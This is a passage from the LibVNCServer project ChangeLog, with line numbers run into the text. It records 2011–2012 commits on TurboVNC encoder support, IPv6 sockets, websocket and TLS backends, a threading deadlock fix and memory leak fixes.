fine-grained (1-100) quality scale 1190 and specifying chrominance subsampling. If a TurboVNC viewer sends 1191 those to a TightVNC server, then the TightVNC server ignores them, 1192 so the TurboVNC viewer also sends the quality on a 0-9 scale that 1193 the TightVNC server can understand. Similarly, the TurboVNC server 1194 checks first for fine-grained quality and subsampling 1195 pseudo-encodings from the viewer, and failing to receive those, it 1196 then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and 1197 that is when a TightVNC or TigerVNC viewer requests compression 1198 level 0 without JPEG from a TurboVNC server. For performance 1199 reasons, this causes the TurboVNC server to send images directly to 1200 the viewer, bypassing Zlib. When the TurboVNC server does this, it 1201 also sets bits 7-4 in the compression control byte to rfbTightNoZlib 1202 (0x0A), which is unfortunately the same value as rfbTightPng. Older 1203 TightVNC viewers that don't handle PNG will assume that the stream 1204 is uncompressed but still encapsulated in a Zlib structure, whereas 1205 newer PNG-supporting TightVNC viewers will assume that the stream is 1206 PNG. In either case, the viewer will probably crash. Since most 1207 VNC viewers don't expose compression level 0 in the GUI, this is a 1208 relatively rare situation. Description of changes: configure.ac -- Added support for libjpeg-turbo. If passed an 1209 argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines 1210 whether the libjpeg library being used is libjpeg-turbo. 1211 libjpeg-turbo must be used when building the TurboVNC encoder, 1212 because the TurboVNC encoder relies on the libjpeg-turbo 1213 colorspace extensions in order to compress images directly out of 1214 the framebuffer (which may be, for instance, BGRA rather than RGB.) 1215 libjpeg-turbo can optionally be used with the TightVNC encoder as 1216 well, but the speedup will only be marginal (the report linked above 1217 explains why in more detail, but basically it's because of Amdahl's 1218 Law. The TightVNC encoder was designed with the assumption that 1219 JPEG had a very high CPU cost, and thus JPEG is used only 1220 sparingly.) -- Added a new configure variable, JPEG_LDFLAGS. This 1221 is necessitated by the fact that libjpeg-turbo often distributes 1222 libjpeg.a and libjpeg.so in /opt/libjpeg-turbo/lib32 or 1223 /opt/libjpeg-turbo/lib64, and many people prefer to statically 1224 link with it. Thus, more flexibility is needed than is provided by 1225 --with-jpeg. If JPEG_LDFLAGS is specified, then it overrides the 1226 changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is 1227 still used to set the include path.) The addition of JPEG_LDFLAGS 1228 necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because 1229 AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we 1230 want if we're, for instance, linking statically with libjpeg-turbo.) 1231 -- configure does not check for PNG support if TurboVNC encoding is 1232 enabled. This prevents the rfbSendRectEncodingTightPng() function 1233 from being compiled in, since the TurboVNC encoder doesn't (and 1234 can't) support it. common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API 1235 used to compress and decompress JPEG images in memory. It was 1236 originally implemented because it was desirable to use different 1237 types of underlying technologies to compress JPEG on different 1238 platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel 1239 Performance Primitives, etc.) These days, however, libjpeg-turbo 1240 is the only underlying technology used by TurboVNC, so TurboJPEG's 1241 purpose is largely just code simplicity and flexibility. Thus, 1242 since there is no real need for libvncserver to use any technology 1243 other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper 1244 for libjpeg-turbo has been included in-tree so that libvncserver can 1245 be directly linked with libjpeg-turbo. This is convenient because 1246 many modern Linux distros (Fedora, Ubuntu, etc.) now ship 1247 libjpeg-turbo as their default libjpeg library. libvncserver/rfbserver.c -- Added logic to check for the TurboVNC 1248 fine-grained quality level and subsampling encodings and to map 1249 Tight (0-9) quality levels to appropriate fine-grained quality level 1250 and subsampling values if communicating with a TightVNC/TigerVNC 1251 viewer. libvncserver/turbo.c -- TurboVNC encoder (compiled instead of 1252 libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality 1253 level and subsampling encodings as well as the rfbTightNoZlib 1254 constant and notes on its usage. 1255 12562012-03-10 Christian Beier <dontmind@freeshell.org> 1257 1258 * client_examples/SDLvncviewer.c, libvncclient/listen.c, 1259 libvncclient/sockets.c, libvncclient/vncviewer.c, 1260 libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for 1261 LibVNCServer, part three: make reverse connections IPv6-capable. Besided making libvncserver reverseVNC IPv6-aware, this introduces 1262 some changes on the client side as well to make clients listen on 1263 IPv6 sockets, too. Like the server side, this also uses a 1264 separate-socket approach. 1265 12662012-03-10 Christian Beier <dontmind@freeshell.org> 1267 1268 * libvncserver/sockets.c: IPv6 support for LibVNCServer, part 1269 onepointseven: Plug a memleak. We have to properly free the addrinfo struct when jumping out of the 1270 function. 1271 12722012-03-09 Christian Beier <dontmind@freeshell.org> 1273 1274 * webclients/index.vnc: IPv6 support for LibVNCServer, part 1275 twopointone: properly surround IPv6 addresses with [] for noVNC URL. Some browsers omit the square brackets in 1276 document.location.hostname, so add them if missing. 1277 12782012-02-27 Christian Beier <dontmind@freeshell.org> 1279 1280 * libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c, 1281 rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http 1282 server listen on IPv6, too. As done with the RFB sockets, this uses a separate-socket approach 1283 as well. 1284 12852012-02-27 Christian Beier <dontmind@freeshell.org> 1286 1287 * libvncserver/main.c: IPv6 support for LibVNCServer, part 1288 onepointsix: fix a small logic error. Without this, we would have gotten a stale IPv4 socket in a race 1289 condition. 1290 12912012-02-27 Christian Beier <dontmind@freeshell.org> 1292 1293 * libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for 1294 LibVNCServer, part onepointfive: Fix compilation with IPv6 missing. There was an oversight that crept in... 1295 12962012-02-20 Christian Beier <dontmind@freeshell.org> 1297 1298 * libvncserver/cargs.c, libvncserver/main.c, 1299 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6 1300 support for LibVNCServer, part one: accept IPv4 and IPv6 1301 connections. This uses a separate-socket approach since there are systems that do 1302 not support dual binding sockets under *any* circumstances, for 1303 instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus 1304 more portable than having a v6 socket handle v4 connections as well. Signed-off-by: Christian Beier <dontmind@freeshell.org> 1305 13062012-02-11 Mateus Cesar Groess <mateuscg@gmail.com> 1307 1308 * AUTHORS, client_examples/Makefile.am, 1309 client_examples/gtkvncviewer.c, configure.ac: Here is a port of 1310 SDLvncviewer to GTK+2. I think it may encourage people to implement more features for the 1311 viewer, because a GTK GUI seems to be easier to implement than a SDL 1312 one (and it is more integrated with the major Linux Desktops out 1313 there). Signed-off-by: Christian Beier <dontmind@freeshell.org> 1314 13152012-02-11 Christian Beier <dontmind@freeshell.org> 1316 1317 * AUTHORS: Update AUTHORS. 1318 13192012-02-10 Kyle J. McKay <mackyle@gmail.com> 1320 1321 * libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support 1322 Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to 1323 LibVNCServers running with no password and advertising a server 1324 version of 3.7 or greater. 1325 13262012-02-04 Johannes Schindelin <johannes.schindelin@gmx.de> 1327 1328 * AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1329 13302012-02-04 Luca Stauble <gnekoz@gmail.com> 1331 1332 * libvncclient/listen.c, libvncclient/sockets.c, 1333 libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter 1334 to specify the ip address for reverse connections For security reasons, it can be important to limit which IP 1335 addresses a LibVNCClient-based client should listen for reverse 1336 connections. This commit adds that option. To preserve binary backwards-compatibility, the field was added to 1337 the end of the rfbclient struct, and the function ListenAtTcpPort 1338 retains its signature (but calls the new ListenAtTcpPortAndAddress). [jes: shortened the commit subject, added a longer explanation in 1339 the commit body and adjusted style] Signed-off-by: Luca Stauble <gnekoz@gmail.com> Signed-off-by: 1340 Johannes Schindelin <johannes.schindelin@gmx.de> 1341 13422012-01-12 Gernot Tenchio <gernot.tenchio@securepoint.de> 1343 1344 * libvncserver/websockets.c: websockets: removed debug message 1345 13462012-01-12 Gernot Tenchio <gernot.tenchio@securepoint.de> 1347 1348 * libvncserver/websockets.c: websockets: restore errno after logging 1349 an error 1350 13512012-01-12 Gernot Tenchio <gernot.tenchio@securepoint.de> 1352 1353 * CMakeLists.txt: cmake: adapted to latest websocket crypto changes 1354 13552011-12-15 Christian Beier <dontmind@freeshell.org> 1356 1357 * rfb/rfbclient.h: Small changes to LibNVCClient doxygen 1358 documentation. 1359 13602011-12-01 Christian Beier <dontmind@freeshell.org> 1361 1362 * libvncserver/Makefile.am: Fix build error when libpng is 1363 available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses 1364 libjpeg features. We could probably seperate that, but for now the 1365 dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around. 1366 13672011-12-01 Christian Beier <dontmind@freeshell.org> 1368 1369 * configure.ac: Use AM_SILENT_RULES only when it's actually 1370 available. Otherwise building breaks with older make versions. Happens on OS X 1371 10.6 for instance. 1372 13732011-11-09 Christian Beier <dontmind@freeshell.org> 1374 1375 * configure.ac, webclients/Makefile.am, webclients/index.vnc, 1376 webclients/java-applet/Makefile.am, 1377 webclients/java-applet/javaviewer.pseudo_proxy.patch, 1378 webclients/java-applet/ssl/Makefile.am, 1379 webclients/java-applet/ssl/README, 1380 webclients/java-applet/ssl/index.vnc, 1381 webclients/java-applet/ssl/onetimekey, 1382 webclients/java-applet/ssl/proxy.vnc, 1383 webclients/java-applet/ssl/ss_vncviewer, 1384 webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-curso 1385 r-colors+no-tab-traversal.patch, 1386 webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.p 1387 atch, webclients/java-applet/ssl/ultra.vnc, 1388 webclients/java-applet/ssl/ultraproxy.vnc, 1389 webclients/java-applet/ssl/ultrasigned.vnc, 1390 webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 1391 webclients/javaviewer.pseudo_proxy.patch, 1392 webclients/ssl/Makefile.am, webclients/ssl/README, 1393 webclients/ssl/index.vnc, webclients/ssl/onetimekey, 1394 webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer, 1395 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- 1396 tab-traversal.patch, 1397 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 1398 webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, 1399 webclients/ssl/ultrasigned.vnc, 1400 webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java 1401 stuff into webclients/java-applet. 1402 14032011-11-09 Christian Beier <dontmind@freeshell.org> 1404 1405 * LibVNCServer.spec.in, Makefile.am, README, classes/Makefile.am, 1406 classes/index.vnc, classes/javaviewer.pseudo_proxy.patch, 1407 classes/novnc/LICENSE.txt, classes/novnc/README.md, 1408 classes/novnc/favicon.ico, classes/novnc/include/base.css, 1409 classes/novnc/include/base64.js, classes/novnc/include/black.css, 1410 classes/novnc/include/blue.css, classes/novnc/include/des.js, 1411 classes/novnc/include/display.js, classes/novnc/include/input.js, 1412 classes/novnc/include/logo.js, classes/novnc/include/playback.js, 1413 classes/novnc/include/rfb.js, classes/novnc/include/ui.js, 1414 classes/novnc/include/util.js, classes/novnc/include/vnc.js, 1415 classes/novnc/include/web-socket-js/README.txt, 1416 classes/novnc/include/web-socket-js/swfobject.js, 1417 classes/novnc/include/web-socket-js/web_socket.js, 1418 classes/novnc/include/websock.js, classes/novnc/include/webutil.js, 1419 classes/novnc/vnc.html, classes/novnc/vnc_auto.html, 1420 classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/index.vnc, 1421 classes/ssl/onetimekey, classes/ssl/proxy.vnc, 1422 classes/ssl/ss_vncviewer, 1423 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab 1424 -traversal.patch, 1425 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 1426 classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, 1427 classes/ssl/ultrasigned.vnc, 1428 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, 1429 examples/example.c, examples/pnmshow.c, examples/pnmshow24.c, 1430 rfb/rfb.h, webclients/Makefile.am, webclients/index.vnc, 1431 webclients/javaviewer.pseudo_proxy.patch, 1432 webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 1433 webclients/novnc/favicon.ico, webclients/novnc/include/base.css, 1434 webclients/novnc/include/base64.js, 1435 webclients/novnc/include/black.css, 1436 webclients/novnc/include/blue.css, webclients/novnc/include/des.js, 1437 webclients/novnc/include/display.js, 1438 webclients/novnc/include/input.js, 1439 webclients/novnc/include/logo.js, 1440 webclients/novnc/include/playback.js, 1441 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 1442 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, 1443 webclients/novnc/include/web-socket-js/README.txt, 1444 webclients/novnc/include/web-socket-js/swfobject.js, 1445 webclients/novnc/include/web-socket-js/web_socket.js, 1446 webclients/novnc/include/websock.js, 1447 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 1448 webclients/novnc/vnc_auto.html, webclients/ssl/Makefile.am, 1449 webclients/ssl/README, webclients/ssl/index.vnc, 1450 webclients/ssl/onetimekey, webclients/ssl/proxy.vnc, 1451 webclients/ssl/ss_vncviewer, 1452 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- 1453 tab-traversal.patch, 1454 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 1455 webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, 1456 webclients/ssl/ultrasigned.vnc, 1457 webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename 1458 'classes' dir to 'webclients'. 1459 14602011-11-09 Christian Beier <dontmind@freeshell.org> 1461 1462 * classes/index.vnc, libvncserver/httpd.c: novnc client: use the 1463 client's notion about the server hostname instead of what the server 1464 thinks. 1465 14662011-11-09 Christian Beier <dontmind@freeshell.org> 1467 1468 * classes/index.vnc: Fix tiny typo. 1469 14702011-11-09 Christian Beier <dontmind@freeshell.org> 1471 1472 * NEWS: Add 0.9.8.2 NEWS entry. 1473 14742011-11-09 Christian Beier <dontmind@freeshell.org> 1475 1476 * libvncclient/rfbproto.c: When GetCredential() callback is not set, 1477 don't use authentications requiring it. The auth methods that employ Getcredential() will only be used if 1478 the client's GetCredential callback is actually set. 1479 14802011-10-12 Christian Beier <dontmind@freeshell.org> 1481 1482 * ChangeLog: Update ChangeLog for 0.9.8.1. 1483 14842011-10-12 Christian Beier <dontmind@freeshell.org> 1485 1486 * CMakeLists.txt, NEWS, configure.ac: Update version number in 1487 autotools && cmake, NEWS entry. 1488 14892011-10-26 Peter Watkins <watkipet@gmail.com> 1490 1491 * rfb/rfbclient.h: Added comments. 1492 14932011-10-26 Christian Beier <dontmind@freeshell.org> 1494 1495 * libvncserver/rfbserver.c: Fix deadlock in threaded mode when using 1496 nested rfbClientIteratorNext() calls. Lengthy explanation follows... First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through 1497 them using rfbClientIteratorNext() (loop L1) and is currently at 1498 client 2 i.e. client 2's cl_2->refCount is 1. At this point we need 1499 to loop again through the clients, with cl_2->refCount == 1, i.e. do 1500 a loop L2 nested within loop L1. BUT: Now client 2 disconnects, it's clientInput thread terminates 1501 its clientOutput thread and calls rfbClientConnectionGone(). This 1502 LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This 1503 means this thread waits for the main thread to release cl_2. 1504 Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner 1505 rfbClientIteratorNext() loop L2. The first call to 1506 rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is 1507 locked by cl2's clientInput thread and is only released when 1508 cl_2->refCount becomes 0. The main thread would decrement 1509 cl_2->refCount when it would continue with loop L1. But it's waiting 1510 for cl2's clientInput thread to release clientListMutex. Which never 1511 happens since this one's waiting for the main thread to decrement 1512 cl_2->refCount. DEADLOCK. Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread 1513 rfbClientConnectionGone(). This again LOCKs clientListMutex, removes 1514 cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for 1515 cl_2->refCount to become 0 is _after_ that. Waiting, with 1516 clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now 1517 only looping through 1,3 - 2 was removed from the linked list) and 1518 continue with loop L1, finally decrementing cl_2->refCount, allowing 1519 cl2's clientInput thread to continue and terminate. The resources 1520 held by cl2 are not free()'d by rfbClientConnectionGone until 1521 cl2->refCount becomes 0, i.e. loop L1 has released cl2. 1522 15232011-10-16 Johannes Schindelin <johannes.schindelin@gmx.de> 1524 1525 * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1526 15272011-10-16 George Fleury <gfleury@gmail.com> 1528 1529 * libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not 1530 been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using 1531 rfbReverseConnection with rfbProcessEvents, and then when the client 1532 connection dies, i am calling a rfbShutdownServer and 1533 rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been 1534 freed. So to free the stats i added a rfbResetStats(cl) after 1535 rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before 1536 free the cl pointer. (at rfbserver.c line 555). And this, obviously, 1537 is correcting the memory leak. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1538 15392011-10-08 Johannes Schindelin <johannes.schindelin@gmx.de> 1540 1541 * rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7 1542 or earlier For backwards-compatibility reasons, we can only add struct members 1543 to the end. That way, existing callers still can use newer 1544 libraries, as the structs are always allocated by the library (and 1545 therefore guaranteed to have the correct size) and still rely on the 1546 same position of the parts the callers know about. Reported by Luca Falavigna. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1547 15482011-10-09 Johannes Schindelin <johannes.schindelin@gmx.de> 1549 1550 * client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by 1551 default I got annoyed having to specify -resizable all the time; I never use 1552 it in another mode anymore, since I am on a netbook. The option -no-resizable was added to be able to switch off that 1553 feature. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1554 15552011-10-06 Christian Beier <dontmind@freeshell.org> 1556 1557 * libvncserver/httpd.c: httpd: fix sending of binary data such as 1558 images. We do this simply by omitting the content-type and let the browser 1559 decide upon the mime-type of the sent file. Only exception is 1560 'index.vnc', where we do set the content-type since some browsers 1561 fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always. 1562 15632011-10-06 Christian Beier <dontmind@freeshell.org> 1564 1565 * classes/index.vnc: Fix typo && use proper website. 1566 15672011-10-04 Christian Beier <dontmind@freeshell.org> 1568 1569 * classes/index.vnc, classes/novnc/LICENSE.txt, 1570 classes/novnc/README.md, classes/novnc/favicon.ico, 1571 classes/novnc/include/base.css, classes/novnc/include/base64.js, 1572 classes/novnc/include/black.css, classes/novnc/include/blue.css, 1573 classes/novnc/include/des.js, classes/novnc/include/display.js, 1574 classes/novnc/include/input.js, classes/novnc/include/logo.js, 1575 classes/novnc/include/playback.js, classes/novnc/include/rfb.js, 1576 classes/novnc/include/ui.js, classes/novnc/include/util.js, 1577 classes/novnc/include/vnc.js, 1578 classes/novnc/include/web-socket-js/README.txt, 1579 classes/novnc/include/web-socket-js/swfobject.js, 1580 classes/novnc/include/web-socket-js/web_socket.js, 1581 classes/novnc/include/websock.js, classes/novnc/include/webutil.js, 1582 classes/novnc/vnc.html, classes/novnc/vnc_auto.html, 1583 libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to 1584 our http server. Pure JavaScript, no Java plugin required anymore! (But a recent 1585 browser...) 1586 15872011-10-04 Christian Beier <dontmind@freeshell.org> 1588 1589 * configure.ac: This build warning is a libvncserver one, not for 1590 x11vnc. Also, make it warn more generally when no known encryption lib is 1591 available. 1592 15932011-09-21 Gernot Tenchio <gernot@tenchio.de> 1594 1595 * common/md5.c: md5: forced to use function names with leading 1596 underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with 1597 leading underscores. This is required to match the prototypes 1598 defined in md5.h. 1599 16002011-09-20 Gernot Tenchio <gernot.tenchio@securepoint.de> 1601 1602 * libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p 1603 errors 1604 16052011-09-20 Gernot Tenchio <gernot@tenchio.de> 1606 1607 * libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way 1608 to late last night... 1609 16102011-09-18 Gernot Tenchio <gernot@tenchio.de> 1611 1612 * libvncserver/Makefile.am, libvncserver/rfbcrypto.h, 1613 libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c, 1614 libvncserver/rfbcrypto_openssl.c, 1615 libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add 1616 support for different crypto implementations 1617 16182011-09-11 Christian Beier <dontmind@freeshell.org> 1619 1620 * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and 1621 GnuTLS advertisement. 1622 16232011-09-11 Christian Beier <dontmind@freeshell.org> 1624 1625 * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of 1626 processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! 1627 16282011-09-11 Christian Beier <dontmind@freeshell.org> 1629 1630 * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the 1631 websocket guys. 1632 16332011-08-28 Gernot Tenchio <gernot@tenchio.de> 1634 1635 * configure.ac: configure: Add AM_SILENT_RULES Working with “silent make mode” makes debugging a lot of easier 1636 since warnings wont shadowed by useless compiler noise 1637 16382011-08-27 Gernot Tenchio <gernot@tenchio.de> 1639 1640 * CMakeLists.txt: cmake: set SOVERSION 1641 16422011-09-11 Christian Beier <dontmind@freeshell.org> 1643 1644 * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and 1645 GnuTLS advertisement. 1646 16472011-09-11 Christian Beier <dontmind@freeshell.org> 1648 1649 * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of 1650 processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! 1651 16522011-09-11 Christian Beier <dontmind@freeshell.org> 1653 1654 * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the 1655 websocket guys. 1656 16572011-09-02 Gernot Tenchio <gernot@tenchio.de> 1658 1659 * libvncserver/websockets.c: websocket: Use a single buffer for 1660 both, encoding and decoding 1661 16622011-08-30 Gernot Tenchio <gernot.tenchio@securepoint.de> 1663 1664 * libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge 1665 rfbssl_peek/rfbssl_read into one function 1666 16672011-08-30 Gernot Tenchio <gernot.tenchio@securepoint.de> 1668 1669 * libvncserver/websockets.c: websockets: fix 1670 webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected. 1671 16722011-08-29 Gernot Tenchio <gernot.tenchio@securepoint.de> 1673 1674 * libvncserver/websockets.c: websockets: use 32bit Xor in 1675 webSocketsDecodeHybi() 1676 16772011-08-29 Gernot Tenchio <gernot.tenchio@securepoint.de> 1678 1679 * CMakeLists.txt: cmake: use sha1.c for websocket builds 1680 16812011-08-25 Gernot Tenchio <gernot@tenchio.de> 1682 1683 * libvncserver/websockets.c: websockets: nothing to worry about 1684 16852011-08-25 Gernot Tenchio <gernot@tenchio.de> 1686 1687 * libvncserver/websockets.c: websockets: added gcrypt based sha1 1688 digest funtion 1689 16902011-08-25 Joel Martin <jmartin@sentryds.com> 1691 1692 * common/sha1.c, common/sha1.h, libvncserver/Makefile.am, 1693 libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol 1694 handling. Add common/sha1.h and common/sha1.c so that we have the SHA routines 1695 even if openssl is not available. From the IETF SHA RFC example 1696 code. Remove the UTF-8 encoding hack. This was really just an experiment. If the protocol passed in the handshake has "binary" then don't 1697 base64 encode for the HyBi protocol. This will allow noVNC to 1698 request the binary data be passed raw and not base64 encoded. 1699 Unfortunately, the client doesn't speak first in VNC protocol (bad 1700 original design). If it did then we could determine whether to 1701 base64 encode or not based on the first HyBi frame from the client 1702 and whether the binary bit is set or not. Oh well. Misc Cleanup: - Always free response and buf in handshake routine. - Remove some unused variables. 1703 17042011-08-25 Gernot Tenchio <gernot@tenchio.de> 1705 1706 * CMakeLists.txt: cmake: make some noise 1707 17082011-08-25 Gernot Tenchio <gernot@tenchio.de> 1709 1710 * libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit 1711 platforms 1712 17132011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de> 1714 1715 * libvncserver/websockets.c: websockets: Removed debugging left over 1716 17172011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de> 1718 1719 * libvncserver/websockets.c: websockets: Use callback functions for 1720 encode/decode 1721 17222011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de> 1723 1724 * libvncserver/rfbserver.c, libvncserver/sockets.c, 1725 libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie 1726 disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the 1727 remaining websockets vars from rfbClientPtr, so all websockets stuff 1728 is hidden behind an opaque pointer. 1729 17302011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de> 1731 1732 * libvncserver/rfbserver.c, libvncserver/sockets.c, 1733 libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi 1734 support 1735 17362011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de> 1737 1738 * CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1739 17402011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de> 1741 1742 * libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 1743 websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component 1744 of the initial websocket request. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1745 17462011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de> 1747 1748 * CMakeLists.txt, common/md5.c, common/md5.h, 1749 libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h: 1750 Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1751 17522011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de> 1753 1754 * CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets 1755 support to CMakeLists.txt Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1756 17572011-08-16 Joel Martin <github@martintribe.org> 1758 1759 * libvncserver/Makefile.am, libvncserver/cargs.c: websockets: Add 1760 SSL cert command line options. - Add --sslcertfile and --sslkeyfile. These should really be 1761 combined with the existing x11vnc command line options for SSL 1762 support. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1763 17642011-08-17 Gernot Tenchio <gernot.tenchio@securepoint.de> 1765 1766 * configure.ac, libvncserver/Makefile.am, 1767 libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c: 1768 websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since 1769 GnuTLS is only used in LibVNCClient. [jes: separated this out from the commit adding encryption support, 1770 added autoconf support.] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1771 17722011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de> 1773 1774 * libvncserver/Makefile.am, libvncserver/rfbserver.c, 1775 libvncserver/rfbssl.h, libvncserver/rfbssl_none.c, 1776 libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 1777 websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support, 1778 to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1779 17802011-08-16 Joel Martin <jmartin@sentryds.com> 1781 1782 * libvncserver/websockets.c: websockets: Properly parse Hixie-76 1783 handshake. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1784 17852011-08-16 Joel Martin <github@martintribe.org> 1786 1787 * libvncserver/rfbserver.c, libvncserver/websockets.c: websockets: 1788 Add UTF-8 encoding support. This is not completely standard UTF-8 encoding. Only code points 1789 0-255 are encoded and never encoded to more than two octets. Since 1790 '\x00' is a WebSockets framing character, it's easier for all 1791 parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256. This means that a random stream will be slightly more than 50% 1792 larger using this encoding scheme. But it's easy CPU-wise for client 1793 and server to decode/encode. This is especially important for 1794 clients written in languages that have weak bitops, like Javascript 1795 (i.e. the noVNC client). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1796 17972011-08-16 Joel Martin <github@martintribe.org> 1798 1799 * libvncserver/rfbserver.c: websockets: Better disconnect detection. If the only thing we are waiting on is a WebSockets terminator, then 1800 remove it from the stream early on in rfbProcessClientNormalMessage. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1801 18022011-08-16 Joel Martin 